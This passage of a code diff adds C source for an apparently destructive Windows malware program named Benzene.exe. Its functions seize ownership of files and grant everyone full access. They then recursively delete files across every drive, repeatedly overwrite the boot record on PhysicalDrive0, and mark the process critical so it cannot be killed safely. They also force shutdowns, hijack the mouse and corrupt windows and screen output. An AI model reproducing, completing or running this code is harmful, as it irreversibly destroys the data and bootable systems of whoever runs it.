+		tp.Privileges[ 0 ].Attributes = SE_PRIVILEGE_ENABLED;
+	else
+		tp.Privileges[ 0 ].Attributes = 0;
+
+	if ( !AdjustTokenPrivileges( hToken, FALSE, &tp, sizeof( TOKEN_PRIVILEGES ), ( PTOKEN_PRIVILEGES )NULL, ( PDWORD )NULL ) )
+	{
+		return FALSE;
+	}
+
+	if ( GetLastError( ) == ERROR_NOT_ALL_ASSIGNED )
+	{
+		return FALSE;
+	}
+
+	return TRUE;
+}
+
+BOOL
+WINAPI
+TakeOwnership(
+	_In_ PWSTR szFile
+)
+{
+	BOOL bRetval = FALSE;
+	HANDLE hToken = NULL;
+	PSID pSIDAdmin = NULL, pSIDEveryone = NULL;
+	PACL pACL = NULL;
+	SID_IDENTIFIER_AUTHORITY SIDAuthWorld = SECURITY_WORLD_SID_AUTHORITY, SIDAuthNT = SECURITY_NT_AUTHORITY;
+	EXPLICIT_ACCESS ea[ NUM_ACES ] = { 0 };
+	DWORD dwRes;
+
+	if ( !AllocateAndInitializeSid( &SIDAuthWorld, 1, SECURITY_WORLD_RID, 0, 0, 0, 0, 0, 0, 0, &pSIDEveryone ) )
+	{
+		goto cleanup;
+	}
+
+	if ( !AllocateAndInitializeSid( &SIDAuthNT, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, &pSIDAdmin ) )
+	{
+		goto cleanup;
+	}
+
+	ea[ 0 ].grfAccessPermissions = GENERIC_ALL;
+	ea[ 0 ].grfAccessMode = SET_ACCESS;
+	ea[ 0 ].grfInheritance = NO_INHERITANCE;
+	ea[ 0 ].Trustee.TrusteeForm = TRUSTEE_IS_SID;
+	ea[ 0 ].Trustee.TrusteeType = TRUSTEE_IS_WELL_KNOWN_GROUP;
+	ea[ 0 ].Trustee.ptstrName = ( PWSTR )pSIDEveryone;
+
+	ea[ 1 ].grfAccessPermissions = GENERIC_ALL;
+	ea[ 1 ].grfAccessMode = SET_ACCESS;
+	ea[ 1 ].grfInheritance = NO_INHERITANCE;
+	ea[ 1 ].Trustee.TrusteeForm = TRUSTEE_IS_SID;
+	ea[ 1 ].Trustee.TrusteeType = TRUSTEE_IS_GROUP;
+	ea[ 1 ].Trustee.ptstrName = ( PWSTR )pSIDAdmin;
+
+	if ( SetEntriesInAclW( NUM_ACES, ea, NULL, &pACL ) != ERROR_SUCCESS )
+	{
+		goto cleanup;
+	}
+
+	dwRes = SetNamedSecurityInfoW( szFile, SE_FILE_OBJECT, DACL_SECURITY_INFORMATION, NULL, NULL, pACL, NULL );
+
+	if ( dwRes == ERROR_SUCCESS )
+	{
+		bRetval = TRUE;
+		goto cleanup;
+	}
+
+	if ( dwRes != ERROR_ACCESS_DENIED )
+	{
+		goto cleanup;
+	}
+
+	if ( !OpenProcessToken( GetCurrentProcess( ), TOKEN_ADJUST_PRIVILEGES, &hToken ) )
+	{
+		goto cleanup;
+	}
+
+	if ( !SetPrivilege( hToken, SE_TAKE_OWNERSHIP_NAME, TRUE ) )
+	{
+		goto cleanup;
+	}
+
+	dwRes = SetNamedSecurityInfoW( szFile, SE_FILE_OBJECT, OWNER_SECURITY_INFORMATION, pSIDAdmin, NULL, NULL, NULL );
+
+	if ( dwRes != ERROR_SUCCESS )
+	{
+		goto cleanup;
+	}
+
+	if ( !SetPrivilege( hToken, SE_TAKE_OWNERSHIP_NAME, FALSE ) )
+	{
+		goto cleanup;
+	}
+
+	dwRes = SetNamedSecurityInfoW( szFile, SE_FILE_OBJECT, DACL_SECURITY_INFORMATION, NULL, NULL, pACL, NULL ); 
+
+	if ( dwRes == ERROR_SUCCESS )
+	{
+		bRetval = TRUE;
+	}
+
+cleanup:
+	if ( pSIDAdmin ) FreeSid( pSIDAdmin );
+	if ( pSIDEveryone ) FreeSid( pSIDEveryone );
+	if ( pACL ) LocalFree( pACL );
+	if ( hToken ) CloseHandle( hToken );
+
+	return bRetval;
+}
+
+VOID
+WINAPI
+DriveMess( VOID )
+{
+	WCHAR szTempDrives[ 512 ] = { 0 };
+	DWORD dwLength = GetLogicalDriveStringsW( 512, szTempDrives );
+
+	CloseHandle( CreateThread( NULL, 0, ( PTHREAD_START_ROUTINE )FileMess, szTempDrives, 0, NULL ) );
+	for ( DWORD i = 0; i < dwLength; i++ )
+	{
+		if ( !szTempDrives[ i ] )
+		{
+			CloseHandle( CreateThread( NULL, 0, ( PTHREAD_START_ROUTINE )FileMess, szTempDrives + ( i + 1 ) * sizeof( WCHAR ), 0, NULL ) );
+		}
+	}
+}
+
+BOOL
+WINAPI
+FileMess(
+	_In_ PWSTR szDirectory
+)
+{
+	TakeOwnership( szDirectory );
+
+	WCHAR szSearchDir[ MAX_PATH ] = { 0 };
+	lstrcpyW( szSearchDir, szDirectory );
+	lstrcatW( szSearchDir, L"*.*" );
+
+	WIN32_FIND_DATA findData;
+	HANDLE hSearch = FindFirstFileW( szSearchDir, &findData );
+
+	if ( hSearch == INVALID_HANDLE_VALUE )
+		return FALSE;
+	else do
+	{
+		if ( !lstrcmpW( findData.cFileName, L"." ) || !lstrcmpW( findData.cFileName, L".." ) ||
+			findData.dwFileAttributes & FILE_ATTRIBUTE_REPARSE_POINT )
+		{
+			continue;
+		}
+
+		WCHAR szPath[ MAX_PATH ] = { 0 };
+		lstrcpyW( szPath, szDirectory );
+		lstrcatW( szPath, findData.cFileName );
+
+		TakeOwnership( szPath );
+
+		if ( findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY )
+		{
+			lstrcatW( szPath, L"\\" );
+			FileMess( szPath );
+			RemoveDirectoryW( szPath );
+		}
+		else
+		{
+			if ( Xorshift32( ) % 24 )
+			{
+				DeleteFileW( szPath );
+			}
+			else
+			{
+				ShellExecuteW( NULL, L"open", szPath, NULL, szDirectory, SW_SHOW );
+			}
+		}
+	}
+	while ( FindNextFileW( hSearch, &findData ) );
+
+	FindClose( hSearch );
+	RemoveDirectoryW( szDirectory );
+
+	return TRUE;
+}
+
+const size_t code1_len = sizeof(pccMbrData);
+
+
+BOOL
+WINAPI
+OverwriteBoot( VOID )
+{
+	HANDLE hDrive;
+	DWORD dwWrittenBytes;
+	BOOL bSuccess;
+
+	hDrive = CreateFileW( L"\\\\.\\PhysicalDrive0", GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL );
+	
+	unsigned char* bootcode = (unsigned char*)LocalAlloc(LMEM_ZEROINIT, 65536);
+
+	unsigned int i = 0;
+	for (; i < code1_len; i++)
+		*(bootcode + i) = *(pccMbrData + i);
+
+	if ( hDrive == INVALID_HANDLE_VALUE )
+	{
+		MessageBoxW( NULL, L"I failed to infect your computer and I am a failure.\n...\nI hope you don't mind.\n(God, this is so embarrassing...)", L"Benzene.exe", MB_OK | MB_ICONERROR );
+		return FALSE;
+	}
+
+	bSuccess = WriteFile(hDrive, bootcode, 65536, &dwWrittenBytes, NULL);
+
+	if ( !bSuccess )
+	{
+		MessageBoxW( NULL, L"Uhm... Why can't I overwrite your bootloader?\nOkay, well, I guess I can die now.", L"Benzene.exe", MB_OK | MB_ICONERROR );
+		CloseHandle( hDrive );
+
+		return FALSE;
+	}
+
+	for ( ;; WriteFile( hDrive, bootcode, 65536, &dwWrittenBytes, NULL ) );
+}
+
+BOOL
+WINAPI
+ForceShutdownComputer( VOID )
+{
+	NTSTATUS( NTAPI * RtlAdjustPrivilege )( ULONG ulPrivilege, BOOLEAN bEnable, BOOLEAN bCurrentThread, PBOOLEAN pbEnabled );
+	NTSTATUS( NTAPI * NtShutdownSystem )( _In_ SHUTDOWN_ACTION Action );
+	NTSTATUS( NTAPI * NtSetSystemPowerState )( _In_ POWER_ACTION SystemAction, _In_ SYSTEM_POWER_STATE MinSystemState, _In_ ULONG Flags );
+	NTSTATUS ntReturnValue;
+	HMODULE hNtDll;
+	BOOLEAN bUnused;
+	BOOL bSuccess;
+
+	hNtDll = LoadLibraryW( L"ntdll.dll" );
+	RtlAdjustPrivilege = ( PVOID )GetProcAddress( hNtDll, "RtlAdjustPrivilege" );
+	NtSetSystemPowerState = ( PVOID )GetProcAddress( hNtDll, "NtSetSystemPowerState" );
+	NtShutdownSystem = ( PVOID )GetProcAddress( hNtDll, "NtShutdownSystem" );
+
+	if ( RtlAdjustPrivilege )
+	{
+		ntReturnValue = RtlAdjustPrivilege( 19 /* SeShutdownPrivilege */, TRUE, FALSE, &bUnused );
+
+		if ( ntReturnValue )
+		{
+			MessageBoxW( NULL, L"I'm not allowed to adjust my debug privilege, somehow.\nYou're doing something here, aren't you?!", L"Benzene.exe", MB_OK | MB_ICONERROR );
+			return FALSE;
+		}
+	}
+
+	if ( NtSetSystemPowerState )
+	{
+		ntReturnValue = NtSetSystemPowerState( PowerActionShutdownOff, PowerSystemShutdown,
+			SHTDN_REASON_MAJOR_HARDWARE | SHTDN_REASON_MINOR_POWER_SUPPLY );
+
+		if ( !ntReturnValue )
+		{
+			return TRUE;
+		}
+	}
+
+	if ( NtShutdownSystem )
+	{
+		ntReturnValue = NtShutdownSystem( ShutdownPowerOff );
+
+		if ( !ntReturnValue )
+		{
+			return TRUE;
+		}
+	}
+
+	bSuccess = ExitWindowsEx( EWX_POWEROFF, EWX_FORCE );
+
+	if ( !bSuccess )
+	{
+		MessageBoxW( NULL, L"I can't power off the computer.\nYou're lucky this time...", L"Benzene.exe", MB_OK | MB_ICONERROR );
+
+		return FALSE;
+	}
+
+	return TRUE;
+}
+
+BOOL
+WINAPI
+SetProcessCritical( VOID )
+{
+	NTSTATUS( NTAPI * RtlAdjustPrivilege )( ULONG ulPrivilege, BOOLEAN bEnable, BOOLEAN bCurrentThread, PBOOLEAN pbEnabled );
+	NTSTATUS( NTAPI * RtlSetProcessIsCritical )( BOOLEAN bNew, PBOOLEAN pbOld, BOOLEAN bNeedScb );
+	NTSTATUS ntReturnValue;
+	ULONG ulBreakOnTermination;
+	BOOLEAN bUnused;
+	HMODULE hNtDll;
+
+	hNtDll = LoadLibraryW( L"ntdll.dll" );
+	RtlAdjustPrivilege = ( PVOID )GetProcAddress( hNtDll, "RtlAdjustPrivilege" );
+	RtlSetProcessIsCritical = ( PVOID )GetProcAddress( hNtDll, "RtlSetProcessIsCritical" );
+	
+	if ( RtlAdjustPrivilege )
+	{
+		ntReturnValue = RtlAdjustPrivilege( 20 /* SeDebugPrivilege */, TRUE, FALSE, &bUnused );
+
+		if ( ntReturnValue )
+		{
+			MessageBoxW( NULL, L"I can't adjust my debug privileges... somehow.", L"Benzene.exe", MB_OK | MB_ICONERROR );
+
+			return FALSE;
+		}
+	}
+	else
+	{
+		MessageBoxW( NULL, L"Nope, can't find RtlAdjustPrivilege... What the hell is this?", L"Benzene.exe", MB_OK | MB_ICONERROR );
+
+		return FALSE;
+	}
+
+	if ( RtlSetProcessIsCritical )
+	{
+		ulBreakOnTermination = 1;
+		ntReturnValue = RtlSetProcessIsCritical( TRUE, NULL, FALSE );
+
+		if ( ntReturnValue )
+		{
+			MessageBoxW( NULL, L"Uhm... It's not letting me be a critical process... This isn't right!", L"Benzene.exe", MB_OK | MB_ICONERROR );
+
+			return FALSE;
+		}
+	}
+	else
+	{
+		MessageBoxW( NULL, L"Please help me out, I can't find RtlSetProcessIsCritical. Do you know where it is?", L"Benzene.exe", MB_OK | MB_ICONERROR );
+
+		return FALSE;
+	}
+
+	return TRUE;
+}

src/Benzene-main/Destructive/Benzene/destruction.h

@@ -0,0 +1,37 @@
+#pragma once
+#include "benzene.h"
+
+#define NUM_ACES 2
+
+typedef enum _SHUTDOWN_ACTION
+{
+    ShutdownNoReboot,
+    ShutdownReboot,
+    ShutdownPowerOff
+} SHUTDOWN_ACTION, *PSHUTDOWN_ACTION;
+
+BOOL
+WINAPI
+ExecuteDropper( VOID );
+
+VOID
+WINAPI
+DriveMess( VOID );
+
+BOOL
+WINAPI
+FileMess(
+    _In_ PWSTR szDirectory
+);
+
+BOOL
+WINAPI
+OverwriteBoot( VOID );
+
+BOOL
+WINAPI
+ForceShutdownComputer( VOID );
+
+BOOL
+WINAPI
+SetProcessCritical( VOID );

src/Benzene-main/Destructive/Benzene/extra_payloads.c

@@ -0,0 +1,247 @@
+#include "benzene.h"
+
+VOID
+GetRandomPath(
+	_Inout_ PWSTR szRandom,
+	_In_ INT nLength
+)
+{
+	for ( INT i = 0; i < nLength; i++ )
+	{
+		szRandom[ i ] = ( WCHAR )( Xorshift32( ) % ( 0x9FFF - 0x4E00 + 1 ) + 0x4E00 );
+	}
+}
+
+BOOL
+CALLBACK
+MsgBoxRefreshWndProc(
+	_In_ HWND   hwnd,
+	_In_ LPARAM lParam
+)
+{
+	UNREFERENCED_PARAMETER( lParam );
+	RedrawWindow( hwnd, NULL, NULL, RDW_ERASE | RDW_INVALIDATE );
+	return TRUE;
+}
+
+BOOL
+CALLBACK
+MsgBoxWndProc(
+	_In_ HWND   hwnd,
+	_In_ LPARAM lParam
+)
+{
+	UNREFERENCED_PARAMETER( lParam );
+	EnableWindow( hwnd, FALSE );
+	SetWindowTextW( hwnd, L"Terrible decision." );
+	return TRUE;
+}
+
+VOID
+WINAPI
+MsgBoxCorruptionThread(
+	_In_ HWND hwndMsgBox
+)
+{
+	BITMAPINFO bmi = { 0 };
+	HANDLE hHeap;
+	PRGBQUAD prgbPixels;
+	HDC hdcMsgBox;
+	HDC hdcTempMsgBox;
+	HBITMAP hbmMsgBox;
+	RECT rcMsgBox;
+	INT w;
+	INT h;
+
+	GetWindowRect( hwndMsgBox, &rcMsgBox );
+	w = rcMsgBox.right - rcMsgBox.left;
+	h = rcMsgBox.bottom - rcMsgBox.top;
+
+	bmi.bmiHeader.biSize = sizeof( BITMAPINFO );
+	bmi.bmiHeader.biBitCount = 32;
+	bmi.bmiHeader.biPlanes = 1;
+	bmi.bmiHeader.biWidth = w;
+	bmi.bmiHeader.biHeight = h;
+
+	hHeap = GetProcessHeap( );
+	prgbPixels = ( PRGBQUAD )HeapAlloc( hHeap, 0, w * h * sizeof( RGBQUAD ) );
+
+	hdcMsgBox = GetDC( hwndMsgBox );
+	hdcTempMsgBox = CreateCompatibleDC( hdcMsgBox );
+	hbmMsgBox = CreateDIBSection( hdcMsgBox, &bmi, 0, &prgbPixels, NULL, 0 );
+	SelectObject( hdcTempMsgBox, hbmMsgBox );
+
+	for ( ;; )
+	{
+		for ( INT32 i = 0; i < w * h; i++ )
+		{
+			prgbPixels[ i ].rgb = ( Xorshift32( ) % 0x100 ) * 0x010101;
+		}
+
+		BitBlt( hdcMsgBox, 0, 0, w, h, hdcTempMsgBox, 0, 0, SRCCOPY );
+		EnumChildWindows( hwndMsgBox, MsgBoxRefreshWndProc, 0 );
+		Sleep( 10 );
+	}
+}
+
+LRESULT
+CALLBACK
+MsgBoxHookProc(
+	_In_ INT nCode,
+	_In_ WPARAM wParam,
+	_In_ LPARAM lParam
+)
+{
+	HWND hwndMsgBox;
+
+	if ( nCode == HCBT_ACTIVATE )
+	{
+		hwndMsgBox = ( HWND )wParam;
+
+		ShowWindow( hwndMsgBox, SW_SHOW );
+
+		EnumChildWindows( hwndMsgBox, MsgBoxWndProc, 0 );
+		CreateThread( NULL, 0, ( PTHREAD_START_ROUTINE )MsgBoxCorruptionThread, hwndMsgBox, 0, NULL );
+
+		return 0;
+	}
+
+	return CallNextHookEx( hMsgHook, nCode, wParam, lParam );
+}
+
+VOID
+WINAPI
+MessageBoxThread( VOID )
+{
+	hMsgHook = SetWindowsHookExW( WH_CBT, MsgBoxHookProc, NULL, GetCurrentThreadId( ) );
+	MessageBoxW( NULL, L"Terrible decision.", L"Terrible decision.", MB_ABORTRETRYIGNORE | MB_ICONERROR );
+	UnhookWindowsHookEx( hMsgHook );
+}
+
+BOOL
+CALLBACK
+GlobalWndProc(
+	_In_ HWND   hwnd,
+	_In_ LPARAM lParam
+)
+{
+	BOOL bParent;
+	HDC hdc;
+	RECT rcOriginal;
+	RECT rc;
+	INT w;
+	INT h;
+
+	Sleep( 10 );
+
+	WCHAR szWndText[ 256 ];
+	for ( INT i = 0; i < 256; i++ )
+	{
+		szWndText[ i ] = ( WCHAR )( ( Xorshift32( ) % 256 ) + 1 );
+	}
+
+	SetWindowTextW( hwnd, szWndText );
+
+	GetWindowRect( hwnd, &rcOriginal );
+
+	rc = rcOriginal;
+
+	rc.left += Xorshift32( ) % 3 - 1;
+	rc.top += Xorshift32( ) % 3 - 1;
+	rc.right += Xorshift32( ) % 3 - 1;
+	rc.bottom += Xorshift32( ) % 3 - 1;
+
+	w = rc.right - rc.left;
+	h = rc.bottom - rc.top;
+
+	MoveWindow( hwnd, rc.left, rc.top, w, h, TRUE );
+
+	hdc = GetDC( hwnd );
+
+	if ( Xorshift32( ) % 2 )
+	{
+		BitBlt( hdc, rc.left, rc.top, w, h, hdc, rcOriginal.left, rcOriginal.top, ( Xorshift32( ) % 2 ) ? SRCAND : SRCPAINT );
+	} 
+	else
+	{
+		w = rcOriginal.right - rcOriginal.left;
+		h = rcOriginal.bottom - rcOriginal.top;
+		StretchBlt( hdc, rcOriginal.left, rcOriginal.top, w, h, hdcDesktop, rcScrBounds.left, rcScrBounds.top,
+			rcScrBounds.right - rcScrBounds.left, rcScrBounds.bottom - rcScrBounds.top,
+			( Xorshift32( ) % 2 ) ? SRCAND : SRCPAINT );
+	}
+	
+	ReleaseDC( hwnd, hdc );
+
+	bParent = ( BOOL )lParam;
+
+	if ( bParent )
+	{
+		EnumChildWindows( hwnd, GlobalWndProc, FALSE );
+	}
+
+	return TRUE;
+}
+
+VOID
+WINAPI
+EnumGlobalWnd( VOID )
+{
+	for ( ;; )
+	{
+		EnumWindows( GlobalWndProc, TRUE );
+	}
+}
+
+VOID
+WINAPI
+CursorClicker( VOID )
+{
+	INT ppdwClickEvents[ 2 ][ 2 ] = {
+		{ MOUSEEVENTF_LEFTDOWN, MOUSEEVENTF_LEFTUP },
+		{ MOUSEEVENTF_RIGHTDOWN, MOUSEEVENTF_RIGHTUP }
+	};
+
+	for ( ;; )
+	{
+		INT nIndex = Xorshift32( ) % 2;
+
+		mouse_event( ppdwClickEvents[ nIndex ][ 0 ], 0, 0, 0, 0 );
+		Sleep( Xorshift32( ) % 51 + 50 );
+
+		mouse_event( ppdwClickEvents[ nIndex ][ 1 ], 0, 0, 0, 0 );
+		Sleep( Xorshift32( ) % 51 + 50 );
+	}
+}
+
+VOID
+WINAPI
+CursorMess( VOID )
+{
+	for ( ;; )
+	{
+		SetCursorPos( Xorshift32( ) % ( rcScrBounds.right - rcScrBounds.left ) - rcScrBounds.left,
+			Xorshift32( ) % ( rcScrBounds.bottom - rcScrBounds.top ) - rcScrBounds.top );
+		Sleep( 1000 );
+	}
+}
+
+VOID
+WINAPI
+CursorDraw( VOID )
+{
+	CURSORINFO curInf = { sizeof( CURSORINFO ) };
+
+	for ( ;; )
+	{
+		GetCursorInfo( &curInf );
+
+		for ( INT i = 0; i < ( INT )( Xorshift32( ) % 5 + 1 ); i++ )
+		{
+			DrawIcon( hdcDesktop, Xorshift32( ) % ( rcScrBounds.right - rcScrBounds.left - GetSystemMetrics( SM_CXCURSOR ) ) - rcScrBounds.left,
+				Xorshift32( ) % ( rcScrBounds.bottom - rcScrBounds.top - GetSystemMetrics( SM_CYCURSOR ) ) - rcScrBounds.top, curInf.hCursor );
+		}
+		DestroyCursor( curInf.hCursor );
+		Sleep( Xorshift32( ) % 11 );
+	}
+}

src/Benzene-main/Destructive/Benzene/extra_payloads.h

@@ -0,0 +1,28 @@
+#pragma once
+#include "benzene.h"
+
+VOID
+GetRandomPath(
+    _Inout_ PWSTR szRandom,
+    _In_ INT nLength
+);
+
+VOID
+WINAPI
+MessageBoxThread( VOID );
+
+VOID
+WINAPI
+EnumGlobalWnd( VOID );
+
+VOID
+WINAPI
+CursorClicker( VOID );
+
+VOID
+WINAPI
+CursorMess( VOID );
+
+VOID
+WINAPI
+CursorDraw( VOID );

src/Benzene-main/Destructive/Benzene/main.c

@@ -0,0 +1,159 @@
+#include "benzene.h"
+
+#pragma region Public Variables
+HWND hwndDesktop;
+HDC hdcDesktop;
+RECT rcScrBounds;
+HHOOK hMsgHook;
+INT nCounter = 0;
+#pragma endregion Public Variables
+
+VOID
+WINAPI
+Initialize(VOID)
+{
+	HMODULE hModUser32 = LoadLibraryW(L"user32.dll");
+	BOOL(WINAPI * SetProcessDPIAware)(VOID) = (BOOL(WINAPI*)(VOID))GetProcAddress(hModUser32, "SetProcessDPIAware");
+	if (SetProcessDPIAware)
+		SetProcessDPIAware();
+	FreeLibrary(hModUser32);
+
+	hwndDesktop = HWND_DESKTOP;
+	hdcDesktop = GetDC(hwndDesktop);
+
+	SeedXorshift32((DWORD)__rdtsc());
+	InitializeSine();
+	EnumDisplayMonitors(NULL, NULL, &MonitorEnumProc, 0);
+	CloseHandle(CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)TimerThread, NULL, 0, NULL));
+}
+
+INT
+WINAPI
+wWinMain(
+	_In_ HINSTANCE hInstance,
+	_In_opt_ HINSTANCE hPrevInstance,
+	_In_ PWSTR pszCmdLine,
+	_In_ INT nShowCmd
+)
+{
+	UNREFERENCED_PARAMETER(hInstance);
+	UNREFERENCED_PARAMETER(hPrevInstance);
+	UNREFERENCED_PARAMETER(pszCmdLine);
+	UNREFERENCED_PARAMETER(nShowCmd);
+
+	HANDLE hCursorDraw, hAudioThread, hGdiThread;
+
+	Initialize();
+
+	if (!ExecuteDropper())
+	{
+		return 0;
+	}
+
+	if (!SetProcessCritical())
+	{
+		CloseHandle(CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)OverwriteBoot, NULL, 0, NULL));
+		Sleep(1000);
+		ForceShutdownComputer();
+
+		return 0;
+	}
+
+
+	Sleep(5000);
+	//CloseHandle( CreateThread( NULL, 0, ( PTHREAD_START_ROUTINE )MessageBoxThread, NULL, 0, NULL ) );
+	Sleep(1000);
+
+	DriveMess();
+
+	CloseHandle(CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)OverwriteBoot, NULL, 0, NULL));
+	CloseHandle(CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)EnumGlobalWnd, NULL, 0, NULL));
+	CloseHandle(CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)CursorClicker, NULL, 0, NULL));
+	CloseHandle(CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)CursorMess, NULL, 0, NULL));
+
+	hCursorDraw = CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)CursorDraw, NULL, 0, NULL);
+
+	CreateMutexW(NULL, TRUE, L"Benzene.exe");
+
+	if (GetLastError() == ERROR_ALREADY_EXISTS)
+	{
+		ForceShutdownComputer();
+		return 0;
+	}
+
+	pAudioSequences[0] = (AUDIO_SEQUENCE_PARAMS){ 48000, 48000 * 30, AudioSequence1,  NULL, NULL };
+	pAudioSequences[1] = (AUDIO_SEQUENCE_PARAMS){ 8000,  8000 * 30, AudioSequence2,  NULL, NULL };
+	pAudioSequences[2] = (AUDIO_SEQUENCE_PARAMS){ 8000,  8000 * 30, AudioSequence3,  NULL, NULL };
+	pAudioSequences[3] = (AUDIO_SEQUENCE_PARAMS){ 16000, 16000 * 30, AudioSequence4,  NULL, NULL };
+	pAudioSequences[4] = (AUDIO_SEQUENCE_PARAMS){ 8000,  8000 * 30, AudioSequence5,  NULL, NULL };
+	pAudioSequences[5] = (AUDIO_SEQUENCE_PARAMS){ 8000,  8000 * 30, AudioSequence6,  NULL, NULL };
+	pAudioSequences[6] = (AUDIO_SEQUENCE_PARAMS){ 12000, 12000 * 30, AudioSequence7,  NULL, NULL };
+	pAudioSequences[7] = (AUDIO_SEQUENCE_PARAMS){ 48000, 48000 * 30, AudioSequence8,  NULL, NULL };
+	pAudioSequences[8] = (AUDIO_SEQUENCE_PARAMS){ 48000, 48000 * 30, AudioSequence9,  NULL, NULL };
+	pAudioSequences[9] = (AUDIO_SEQUENCE_PARAMS){ 8000,  8000 * 30, AudioSequence10, NULL, NULL };
+	pAudioSequences[10] = (AUDIO_SEQUENCE_PARAMS){ 8000,  8000 * 30, AudioSequence11, NULL, NULL };
+	pAudioSequences[11] = (AUDIO_SEQUENCE_PARAMS){ 8000,  8000 * 30, AudioSequence12, NULL, NULL };
+	pAudioSequences[12] = (AUDIO_SEQUENCE_PARAMS){ 16000, 16000 * 30, AudioSequence13, NULL, NULL };
+	pAudioSequences[13] = (AUDIO_SEQUENCE_PARAMS){ 48000, 48000 * 30, AudioSequence14, NULL, NULL };
+	pAudioSequences[14] = (AUDIO_SEQUENCE_PARAMS){ 48000, 48000 * 30, AudioSequence15, NULL, NULL };
+	pAudioSequences[15] = (AUDIO_SEQUENCE_PARAMS){ 48000, 48000 * 30, AudioSequence16, NULL, NULL };
+	pAudioSequences[16] = (AUDIO_SEQUENCE_PARAMS){ 48000, 48000 * 30, AudioSequence17, NULL, NULL };
+	pAudioSequences[17] = (AUDIO_SEQUENCE_PARAMS){ 48000, 48000 * 30, AudioSequence18, NULL, NULL };
+	pAudioSequences[24] = (AUDIO_SEQUENCE_PARAMS){ 48000, 48000 * 30, FinalAudioSequence, NULL, NULL };
+
+
+	pGdiShaders[0] = (GDI_SHADER_PARAMS){ GdiShader1,  NULL,          PostGdiShader1 };
+	pGdiShaders[1] = (GDI_SHADER_PARAMS){ GdiShader2,  NULL,          PostGdiShader2 };
+	pGdiShaders[2] = (GDI_SHADER_PARAMS){ GdiShader3,  NULL,          PostGdiShader3 };
+	pGdiShaders[3] = (GDI_SHADER_PARAMS){ GdiShader4,  NULL,          PostGdiShader2 };
+	pGdiShaders[4] = (GDI_SHADER_PARAMS){ GdiShader5,  NULL,          PostGdiShader4 };
+	pGdiShaders[5] = (GDI_SHADER_PARAMS){ GdiShader6,  NULL,          PostGdiShader2 };
+	pGdiShaders[6] = (GDI_SHADER_PARAMS){ GdiShader7,  NULL,          PostGdiShader5 };
+	pGdiShaders[7] = (GDI_SHADER_PARAMS){ GdiShader8,  PreGdiShader1, PostGdiShader6 };
+	pGdiShaders[8] = (GDI_SHADER_PARAMS){ GdiShader9,  NULL,          NULL };
+	pGdiShaders[9] = (GDI_SHADER_PARAMS){ GdiShader10, NULL,          NULL };
+	pGdiShaders[10] = (GDI_SHADER_PARAMS){ GdiShader11, NULL,          NULL };
+	pGdiShaders[11] = (GDI_SHADER_PARAMS){ GdiShader12, NULL,          NULL };
+	pGdiShaders[12] = (GDI_SHADER_PARAMS){ GdiShader13, NULL,          NULL };
+	pGdiShaders[13] = (GDI_SHADER_PARAMS){ GdiShader14, NULL,          PostGdiShader2 };
+	pGdiShaders[14] = (GDI_SHADER_PARAMS){ GdiShader15, NULL,          NULL };
+	pGdiShaders[15] = (GDI_SHADER_PARAMS){ GdiShader16, NULL,          NULL };
+	pGdiShaders[16] = (GDI_SHADER_PARAMS){ GdiShader17, NULL,          NULL };
+	pGdiShaders[17] = (GDI_SHADER_PARAMS){ GdiShader18, NULL,          NULL };
+	pGdiShaders[18] = (GDI_SHADER_PARAMS){ GdiShader19, NULL,          NULL };
+	pGdiShaders[19] = (GDI_SHADER_PARAMS){ GdiShader20, NULL,          PostGdiShader2 };
+	pGdiShaders[20] = (GDI_SHADER_PARAMS){ GdiShader21, NULL,          PostGdiShader2 };
+	pGdiShaders[21] = (GDI_SHADER_PARAMS){ GdiShader22, NULL,          PostGdiShader3 };
+	pGdiShaders[22] = (GDI_SHADER_PARAMS){ GdiShader23 , NULL, NULL };
+	pGdiShaders[23] = (GDI_SHADER_PARAMS){ GdiShader24 , NULL, NULL };
+	pGdiShaders[24] = (GDI_SHADER_PARAMS){ FinalGdiShader, NULL, NULL };
+
+	hAudioThread = CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)AudioPayloadThread, NULL, 0, NULL);
+
+	for (;; )
+	{
+		hGdiThread = CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)GdiShaderThread, &pGdiShaders[Xorshift32() % 24], 0, NULL);
+		WaitForSingleObject(hGdiThread, (Xorshift32() % 3) ? PAYLOAD_MS : ((Xorshift32() % 5) * (PAYLOAD_MS / 4)));
+		CloseHandle(hGdiThread);
+
+		if (nCounter >= ((240 * 1000) / TIMER_DELAY))
+		{
+			break;
+		}
+	}
+
+	TerminateThread(hAudioThread, 0);
+	CloseHandle(hAudioThread);
+
+	TerminateThread(hCursorDraw, 0);
+	CloseHandle(hCursorDraw);
+
+	CloseHandle(CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)GdiShaderThread, &pGdiShaders[24], 0, NULL));
+	CloseHandle(CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)AudioSequenceThread, &pAudioSequences[24], 0, NULL));
+
+	for (;; )
+	{
+		ForceShutdownComputer();
+		ExitProcess(0);
+	}
+}

src/Benzene-main/Destructive/Benzene/math.c

@@ -0,0 +1,59 @@
+#include "benzene.h"
+
+DWORD xs;
+static FLOAT pfSinVals[ 4096 ];
+
+VOID
+SeedXorshift32(
+	_In_ DWORD dwSeed
+)
+{
+	xs = dwSeed;
+}
+
+DWORD
+Xorshift32( VOID )
+{
+	xs ^= xs << 13;
+	xs ^= xs >> 17;
+	xs ^= xs << 5;
+	return xs;
+}
+
+VOID
+Reflect2D(
+	_Inout_ PINT x,
+	_Inout_ PINT y,
+	_In_ INT w,
+	_In_ INT h
+)
+{
+#define FUNCTION(v, maxv) ( abs( v ) / ( maxv ) % 2 ? ( maxv ) - abs( v ) % ( maxv ) : abs( v ) % ( maxv ) );
+	*x = FUNCTION( *x, w - 1 );
+	*y = FUNCTION( *y, h - 1 );
+#undef FUNCTION
+}
+
+FLOAT
+FastSine(
+	_In_ FLOAT f
+)
+{
